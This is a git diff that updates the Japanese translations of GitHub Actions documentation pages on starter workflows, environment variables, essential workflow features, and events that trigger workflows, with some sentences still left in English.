+4. `workflow-templates` ディレクトリ内にメタデータファイルを作成します。 メタデータ ファイルは、ワークフロー ファイルと同じ名前である必要がありますが、 `.yml` 拡張子の代わりに、 `.properties.json`を付ける必要があります。 たとえば`octo-organization-ci.properties.json`という名前のこのファイルには 、`octo-organization-ci.yml`という名前のワークフローファイルのメタデータが含まれています。
    ```yaml
    {
        "name": "Octo Organization Workflow",
@@ -87,13 +87,13 @@ This procedure demonstrates how to create a starter workflow and metadata file.
    * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows.
    * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows.
    * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`.
-   * `categories` - **Optional.** Defines the language category of the workflow. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. For information on the available language categories, see https://github.com/github/linguist/blob/master/lib/linguist/languages.yml.
+   * `categories` - **オプション。** ワークフローの言語カテゴリを定義します。 When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. 使用可能な言語カテゴリについては、「https://github.com/github/linguist/blob/master/lib/linguist/languages.yml」を参照してください。
    * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression.
 
-To add another starter workflow, add your files to the same `workflow-templates` directory. For example:
+To add another starter workflow, add your files to the same `workflow-templates` directory. 例:
 
 ![Workflow files](/assets/images/help/images/workflow-template-files.png)
 
-## Next steps
+## 次のステップ
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Using workflow](/actions/learn-github-actions/using-starter-workflows)."
+To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/learn-github-actions/using-starter-workflows)."
diff --git a/translations/ja-JP/content/actions/learn-github-actions/environment-variables.md b/translations/ja-JP/content/actions/learn-github-actions/environment-variables.md
index 83e39ee23f..56e565375e 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/environment-variables.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/environment-variables.md
@@ -1,6 +1,6 @@
 ---
-title: Environment variables
-intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.'
+title: 環境変数
+intro: '{% data variables.product.prodname_dotcom %}はそれぞれの{% data variables.product.prodname_actions %}ワークフローの実行に対してデフォルトの環境変数を設定します。 ワークフローファイル中でカスタムの環境変数を設定することもできます。'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/using-environment-variables
   - /actions/automating-your-workflow-with-github-actions/using-environment-variables
@@ -16,11 +16,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About environment variables
+## 環境変数について
 
-{% data variables.product.prodname_dotcom %} sets default environment variables that are available to every step in a workflow run. Environment variables are case-sensitive. Commands run in actions or steps can create, read, and modify environment variables.
+{% data variables.product.prodname_dotcom %}は、ワークフローの実行におけるどのステップでも使用できる、デフォルトの環境変数を設定します。 環境変数では、大文字小文字は区別されます。 アクションあるいはステップ内で実行されるコマンドは、環境変数を作成、読み取り、変更することができます。
 
-To set custom environment variables, you need to specify the variables in the workflow file. You can define environment variables for a step, job, or entire workflow using the [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv), [`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv), and [`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) keywords. For more information, see "[Workflow syntax for {% data variables.product.prodname_dotcom %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+カスタムの環境変数を設定するには、ワークフローファイル中でその変数を指定しなければなりません。 [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)、[`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv)、[`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)といったキーワードを使って、ステップ、ジョブ、あるいはワークフロー全体の環境変数を定義できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %}のワークフロー構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)」を参照してください。
 
 {% raw %}
 ```yaml
@@ -40,61 +40,51 @@ jobs:
 ```
 {% endraw %}
 
-To use the value of an environment variable in a workflow file, you should use the [`env` context](/actions/reference/context-and-expression-syntax-for-github-actions#env-context). If you want to use the value of an environment variable inside a runner, you can use the runner operating system's normal method for reading environment variables.
+環境変数の値をワークフローファイル内で使うには、[`env`コンテキスト](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)を使わなければなりません。 環境変数の値をランナー内で使いたいなら、ランナーのオペレーティングシステムで環境変数を読む通常の方法が使えます。
 
-If you use the workflow file's `run` key to read environment variables from within the runner operating system (as shown in the example above), the variable is substituted in the runner operating system after the job is sent to the runner. For other parts of a workflow file, you must use the `env` context to read environment variables; this is because workflow keys (such as `if`) require the variable to be substituted during workflow processing before it is sent to the runner.
+ワークフローファイルの`run`キーを使って環境変数をランナーのオペレーティングシステム内から読む場合（上の例のように）、ジョブがランナーに送られた後に変数はランナーのオペレーティングシステム内で置き換えられます。 ワークフローファイルの他の部分では、環境変数を読むために`env`コンテキストを使わなければなりません。これは、ワークフローのキー（`if`など）で、ワークフローがランナーに送られる前に変数が置き換えられなければならないためです。
 
-You can also use the `GITHUB_ENV` environment file to set an environment variable that the following steps in a job can use. The environment file can be used directly by an action or as a shell command in a workflow file using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)."
+You can also use the `GITHUB_ENV` environment file to set an environment variable that the following steps in a job can use. The environment file can be used directly by an action or as a shell command in a workflow file using the `run` keyword. 詳しい情報については「[{% data variables.product.prodname_actions %}のワークフローコマンド](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)」を参照してください。
 
-## Default environment variables
+## デフォルトの環境変数
 
-We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments.
+アクションでは、ファイルシステムにアクセスするとき、ハードコードされたファイルパスを使うのではなく環境変数を使用することを強くお勧めします。 {% data variables.product.prodname_dotcom %}は、すべてのランナー環境でアクションが使用する環境変数を設定します。
 
-| Environment variable | Description |
-| ---------------------|------------ |
-| `CI` | Always set to `true`. |
-| `GITHUB_WORKFLOW` | The name of the workflow. |
-| `GITHUB_RUN_ID` | {% data reusables.github-actions.run_id_description %} |
-| `GITHUB_RUN_NUMBER` | {% data reusables.github-actions.run_number_description %} |
-| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `GITHUB_ACTION` | The unique identifier (`id`) of the action. |
-| `GITHUB_ACTION_PATH` | The path where your action is located. You can use this path to access files located in the same repository as your action. This variable is only supported in composite actions. |
-| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}.
-| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. |
-| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
-| `GITHUB_EVENT_NAME` | The name of the webhook event that triggered the workflow. |
-| `GITHUB_EVENT_PATH` | The path of the file with the complete webhook event payload. For example, `/github/workflow/event.json`. |
-| `GITHUB_WORKSPACE` | The {% data variables.product.prodname_dotcom %} workspace directory path, initially empty. For example, `/home/runner/work/my-repo-name/my-repo-name`. The [actions/checkout](https://github.com/actions/checkout) action will check out files, by default a copy of your repository, within this directory. |
-| `GITHUB_SHA` | The commit SHA that triggered the workflow. For example, `ffac537e6cbbf934b08745a378932722df287a53`. |
-| `GITHUB_REF` | The branch or tag ref that triggered the workflow. For example, `refs/heads/feature-branch-1`. If neither a branch or tag is available for the event type, the variable will not exist. |
+| 環境変数                 | 説明                                                                                                                                                                                                                                                                                                         |
+| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CI`                 | 常に`true`に設定されます。                                                                                                                                                                                                                                                                                           |
+| `GITHUB_WORKFLOW`    | ワークフローの名前。                                                                                                                                                                                                                                                                                                 |
+| `GITHUB_RUN_ID`      | {% data reusables.github-actions.run_id_description %}
+| `GITHUB_RUN_NUMBER`  | {% data reusables.github-actions.run_number_description %}
+| `GITHUB_JOB`         | 現在のジョブの [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id)。                                                                                                                                                                                                                        |
+| `GITHUB_ACTION`      | アクションの一意の識別子 (`id`)。                                                                                                                                                                                                                                                                                       |
+| `GITHUB_ACTION_PATH` | アクションが置かれているパス。 このパスを使用して、アクションと同じリポジトリにあるファイルにアクセスできます。 This variable is only supported in composite actions.                                                                                                                                                                                             |
+| `GITHUB_ACTIONS`     | {% data variables.product.prodname_actions %}がワークフローを実行しているときは常に`true`に設定されます。 この変数は、テストがローカルで実行されているときと、{% data variables.product.prodname_actions %}によって実行されているときを区別するために利用できます。                                                                                                                         |
+| `GITHUB_ACTOR`       | ワークフローを開始するユーザまたはアプリの名前。 `octocat`などです。                                                                                                                                                                                                                                                                    |
+| `GITHUB_REPOSITORY`  | 所有者およびリポジトリの名前。 `octocat/Hello-World`などです。                                                                                                                                                                                                                                                                 |
+| `GITHUB_EVENT_NAME`  | ワークフローをトリガーしたwebhookイベントの名前。                                                                                                                                                                                                                                                                               |
+| `GITHUB_EVENT_PATH`  | 完了したwebhookイベントペイロードのファイルのパス。 `/github/workflow/event.json`などです。                                                                                                                                                                                                                                           |
+| `GITHUB_WORKSPACE`   | The {% data variables.product.prodname_dotcom %} workspace directory path, initially empty. たとえば、`/home/runner/work/my-repo-name/my-repo-name`となります。 The [actions/checkout](https://github.com/actions/checkout) action will check out files, by default a copy of your repository, within this directory. |
+| `GITHUB_SHA`         | ワークフローをトリガーしたコミットSHA。 たとえば、`ffac537e6cbbf934b08745a378932722df287a53`です。                                                                                                                                                                                                                                   |
+| `GITHUB_REF`         | ワークフローをトリガーしたブランチまたはタグref。 たとえば、`refs/heads/feature-branch-1`です。 イベントタイプのブランチもタグも利用できない場合、変数は存在しません。                                                                                                                                                                                                       |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} |
-| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} |
-| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} |
+| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | | `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | | `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `GITHUB_HEAD_REF` | Only set for pull request events. The name of the head branch.
-| `GITHUB_BASE_REF` | Only set for pull request events. The name of the base branch.
-| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`.
-| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`.
-| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`.
-| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %}
-| `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %}
-| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %}
-| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
+| `GITHUB_HEAD_REF` | Only set for pull request events. headブランチの名前です。 | `GITHUB_BASE_REF` | Only set for pull request events. ベースブランチの名前です。 | `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`. | `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`. | `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`. | `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} | `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %} | `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %} | `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
 {% ifversion not ghae %}| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %}{% endif %}
 
 {% tip %}
 
-**Note:** If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
+**ノート:** ワークフローの実行のURLをジョブの中から使う必要がある場合は、`$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`というようにこれらの環境変数を組み合わせることができます。
 
 {% endtip %}
 
-### Determining when to use default environment variables or contexts
+### デフォルトの環境変数を使う場合とコンテキストを使う場合の判断
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-## Naming conventions for environment variables
+## 環境変数の命名規則
 
-When you set a custom environment variable, you cannot use any of the default environment variable names listed above with the prefix `GITHUB_`. If you attempt to override the value of one of these default environment variables, the assignment is ignored.
+カスタム環境変数を設定する場合、接頭辞の `GITHUB_` が付いた上記のデフォルトの環境変数名を使用することはできません。 これらのデフォルトの環境変数のいずれかの値をオーバーライドしようとすると、割り当ては無視されます。
 
-Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `HOME` and `GITHUB_WORKSPACE` default variables are exceptions to this convention because the words "home" and "workspace" already imply a location.
+ファイルシステム上の場所を指すように設定した新しい環境変数がある場合は、`_PATH`サフィックスを指定する必要があります。 デフォルトの変数`HOME`と`GITHUB_WORKSPACE`は、「home」および「workspace」という言葉で最初から場所であることがわかっているため、この規則の例外です。
diff --git a/translations/ja-JP/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/essential-features-of-github-actions.md
index d817b01d1f..e50f3f2dd6 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/essential-features-of-github-actions.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/essential-features-of-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Essential features of GitHub Actions
-shortTitle: Essential features
-intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
+title: GitHub Actions の重要な機能
+shortTitle: 重要な機能
+intro: '{% data variables.product.prodname_actions %} は、堅牢で動的な自動化の構築ができるように設計されています。 このガイドでは、環境変数、カスタマイズされたスクリプトなどを含む {% data variables.product.prodname_actions %} ワークフローを作成する方法を説明します。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
+{% data variables.product.prodname_actions %} を使用すると、アプリケーションと Team の固有のニーズに合わせてワークフローをカスタマイズできます。 このガイドでは、変数の使用、スクリプトの実行、ジョブ間でのデータと成果物の共有など、いくつかの重要なカスタマイズ手法について説明します。
 
-##  Using variables in your workflows
+## ワークフローで変数を使用する
 
-{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
+{% data variables.product.prodname_actions %} には、ワークフロー実行ごとのデフォルトの環境変数が含まれています。 カスタム環境変数を使用する必要がある場合は、YAML ワークフローファイルでこれらを設定できます。 この例は、`POSTGRES_HOST` および `POSTGRES_PORT` という名前のカスタム変数の作成方法を示しています。 これらの変数は、`node client.js` スクリプトで使用できます。
 
 ```yaml
 jobs:
@@ -34,11 +34,11 @@ jobs:
             POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
+詳しい情報については、「[環境変数の利用](/actions/configuring-and-managing-workflows/using-environment-variables)」を参照してください。
 
-## Adding scripts to your workflow
+## ワークフローにスクリプトを追加する
 
-You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
+アクションを使用してスクリプトとシェルコマンドを実行し、割り当てられたランナーで実行できます。 この例では、アクションが `run` キーワードを使用して、ランナーで `npm install -g bats` を実行する方法を示しています。
 
 ```yaml
 jobs:
@@ -47,7 +47,7 @@ jobs:
       - run: npm install -g bats
 ```
 
-For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
+たとえば、スクリプトをアクションとして実行するには、スクリプトをリポジトリに保存し、パスとシェルタイプを指定します。
 
 ```yaml
 jobs:
@@ -58,13 +58,13 @@ jobs:
         shell: bash
 ```
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)」を参照してください。
 
-## Sharing data between jobs
+## ジョブ間でデータを共有する
 
-If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
+ジョブが同じワークフロー内の別のジョブと共有するファイルを生成する場合、または後で参照できるようにファイルを保存する場合は、それらを_成果物_として {% data variables.product.prodname_dotcom %} に保存できます。 成果物とは、コードをビルドしてテストするときに作成されるファイルのことです。 たとえば、成果物には、バイナリまたパッケージファイル、テスト結果、スクリーンショット、ログファイルなどがあります。 成果物は、それが作成されたワークフロー実行に関連付けられており、別のジョブで使用できます。 {% data reusables.actions.reusable-workflow-artifacts %}
 
-For example, you can create a file and then upload it as an artifact.
+たとえば、ファイルを作成し、それを成果物としてアップロードできます。
 
 ```yaml
 jobs:
@@ -81,7 +81,7 @@ jobs:
           path: output.log
 ```
 
-To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
+別のワークフロー実行から成果物をダウンロードするには、`actions/download-artifact` アクションを使用できます。 たとえば、`output-log-file` という名前の成果物をダウンロードできます。
 
 ```yaml
 jobs:
@@ -95,8 +95,8 @@ jobs:
 
 To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
 
-For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+成果物に関する詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)」を参照してください。
 
-## Next steps
+## 次のステップ
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
+{% data variables.product.prodname_actions %} について詳しくは、「[複雑なワークフローを管理する](/actions/learn-github-actions/managing-complex-workflows)」を参照してください。
diff --git a/translations/ja-JP/content/actions/learn-github-actions/events-that-trigger-workflows.md b/translations/ja-JP/content/actions/learn-github-actions/events-that-trigger-workflows.md
index 56e92056f6..4205790fdc 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/events-that-trigger-workflows.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/events-that-trigger-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Events that trigger workflows
-intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.'
+title: ワークフローをトリガーするイベント
+intro: '{% data variables.product.product_name %} で特定のアクティビティが実行された時、スケジュールした時間、または {% data variables.product.product_name %} 外でイベントが発生した時にワークフローを実行できるよう設定できます。'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/events-that-trigger-workflows
@@ -12,49 +12,49 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Events that trigger workflows
+shortTitle: ワークフローをトリガーするイベント
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring workflow events
+## ワークフローイベントを設定する
 
-You can configure workflows to run for one or more events using the `on` workflow syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)."
+`on` ワークフロー構文を使用して、1 つ以上のイベントに対して実行するようにワークフローを設定できます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/articles/workflow-syntax-for-github-actions#on)」を参照してください。
 
 {% data reusables.github-actions.actions-on-examples %}
 
 {% note %}
 
-**Note:** You cannot trigger new workflow runs using the `GITHUB_TOKEN`. For more information, see "[Triggering new workflows using a personal access token](#triggering-new-workflows-using-a-personal-access-token)."
+**ノート:** `GITHUB_TOKEN`を使って新しいワークフローの実行をトリガーすることはできません。 詳しい情報については「[個人アクセストークンを使った新しいワークフローのトリガー](#triggering-new-workflows-using-a-personal-access-token)」を参照してください。
 
 {% endnote %}
 
-The following steps occur to trigger a workflow run:
+ワークフローの実行がトリガーされるには、以下のステップが生じます。
 
-1. An event occurs on your repository, and the resulting event has an associated commit SHA and Git ref.
-2. The `.github/workflows` directory in your repository is searched for workflow files at the associated commit SHA or Git ref. The workflow files must be present in that commit SHA or Git ref to be considered.
+1. リポジトリでイベントが発生し、結果のイベントにはコミット SHA と Git ref が関連付けられます。
+2. リポジトリ内の関連づけられたコミットSHAもしくはGit refにおける `.github/workflows`ディレクトリ内でワークフローファイルが検索される。 ワークフローファイルは、コミットSHAあるいはGit refを考慮した上で存在していなければなりません。
 
-  For example, if the event occurred on a particular repository branch, then the workflow files must be present in the repository on that branch.
-1. The workflow files for that commit SHA and Git ref are inspected, and a new workflow run is triggered for any workflows that have `on:` values that match the triggering event.
+  たとえば、イベントが特定のリポジトリブランチで発生したなら、ワークフローファイルはそのブランチ上でリポジトリ内に存在しなければなりません。
+1. そのコミットSHA及びGit refのワークフローファイルが調べられ、トリガーを起こしたイベントにマッチする`on:`の値を持つワークフローについて新しい実行がトリガーされる。
 
-  The workflow runs on your repository's code at the same commit SHA and Git ref that triggered the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+  ワークフローの実行は、イベントをトリガーしたのと同じコミットSHA及びGit refにあるリポジトリのコード上で実行されます。 ワークフローを実行すると、{% data variables.product.product_name %} はランナー環境において `GITHUB_SHA` (コミット SHA) および `GITHUB_REF` (Git ref) 環境変数を設定します。 詳しい情報については、「[環境変数の利用](/actions/automating-your-workflow-with-github-actions/using-environment-variables)」を参照してください。
 
-## Scheduled events
+## スケジュールしたイベント
 
-The `schedule` event allows you to trigger a workflow at a scheduled time.
+`schedule` イベントを使用すると、スケジュールされた時間にワークフローをトリガーできます。
 
 {% data reusables.actions.schedule-delay %}
 
-### `schedule`
+### `スケジュール`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." |
+| webhook イベントのペイロード | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF`                                                                                                                                                                                                                                                                          |
+| ------------------ | ---------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| n/a                | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ | スケジュールしたワークフローを実行するよう設定したとき。 スケジュールしたワークフローは、[POSIX クーロン構文](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07)を使用します。 詳しい情報については、「[イベントでワークフローをトリガーする](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)」を参照してください。 |
 
 {% data reusables.repositories.actions-scheduled-workflow-example %}
 
-Cron syntax has five fields separated by a space, and each field represents a unit of time.
+クーロン構文では、スペースで分けられた 5 つのフィールドがあり、各フィールドは時間の単位を表わします。
 
 ```
 ┌───────────── minute (0 - 59)
@@ -68,54 +68,54 @@ Cron syntax has five fields separated by a space, and each field represents a un
 * * * * *
 ```
 
-You can use these operators in any of the five fields:
+5 つのフィールドいずれにおいても、以下の演算子を使用できます:
 
-| Operator | Description | Example |
-| -------- | ----------- | ------- |
-| * | Any value | `* * * * *` runs every minute of every day. |
-| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. |
-| - | Range of values | `0 4-6 * * *` runs at minute 0 of the 4th, 5th, and 6th hour. |
-| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). |
+| 演算子 | 説明         | サンプル                                                            |
+| --- | ---------- | --------------------------------------------------------------- |
+| *   | 任意の値       | `* * * * *` 毎日、毎分実行します。                                         |
+| ,   | 値リストの区切り文字 | `2,10 4,5 * * *` 毎日、午前 4 時および午前 5 時の、2 分および 10 分に実行します。         |
+| -   | 値の範囲       | `0 4-6 * * *` 午前 4 時、5 時、および 6 時の、0 分に実行します。                    |
+| /   | ステップ値      | `20/15 * * * *` 20 分から 59 分までの間で、15 分おきに実行します (20 分、35 分、50 分)。 |
 
 {% note %}
 
-**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`.
+**注釈:** {% data variables.product.prodname_actions %} は、非標準的構文　(`@yearly`、`@monthly`、`@weekly`、`@daily`、`@hourly`、`@reboot`) をサポートしていません。
 
 {% endnote %}
 
-You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html).
+[crontab guru](https://crontab.guru/) を使うと、クーロン構文の生成および実行時間の確認に役立ちます。 また、クーロン構文の生成を支援するため、[crontab guru のサンプル](https://crontab.guru/examples.html)リストもあります。
 
-Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, please see "[Notifications for workflow runs](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)."
+ワークフロー内のクーロン構文を最後に修正したユーザには、スケジュールされたワークフローの通知が送られます。 詳しい情報については「[ワークフローの実行の通知](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)」を参照してください。
 
-## Manual events
+## 手動イベント
 
-You can manually trigger workflow runs. To trigger specific workflows in a repository, use the `workflow_dispatch` event. To trigger more than one workflow in a repository and create custom events and event types, use the `repository_dispatch` event.
+ワークフローの実行を手動でトリガーできます。 リポジトリ内の特定のワークフローをトリガーするには、`workflow_dispatch` イベントを使用します。 リポジトリで複数のワークフローをトリガーし、カスタムイベントとイベントタイプを作成するには、`repository_dispatch` イベントを使用します。
 
 ### `workflow_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch | Branch that received dispatch |
+| webhook イベントのペイロード                                               | アクティビティタイプ | `GITHUB_SHA`               | `GITHUB_REF`    |
+| ---------------------------------------------------------------- | ---------- | -------------------------- | --------------- |
+| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a        | `GITHUB_REF` ブランチ上の直近のコミット | ディスパッチを受信したブランチ |
 
-You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When the workflow runs, you can access the input values in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+カスタム定義の入力プロパティ、デフォルトの入力値、イベントに必要な入力をワークフローで直接設定できます。 ワークフローが実行されると、 `github.event.inputs` コンテキスト内の入力値にアクセスできます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。
 
-You can manually trigger a workflow run using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and from {% data variables.product.product_name %}. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)."
+You can manually trigger a workflow run using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and from {% data variables.product.product_name %}. 詳しい情報については、「[ワークフローを手動で実行する](/actions/managing-workflow-runs/manually-running-a-workflow)」を参照してください。
 
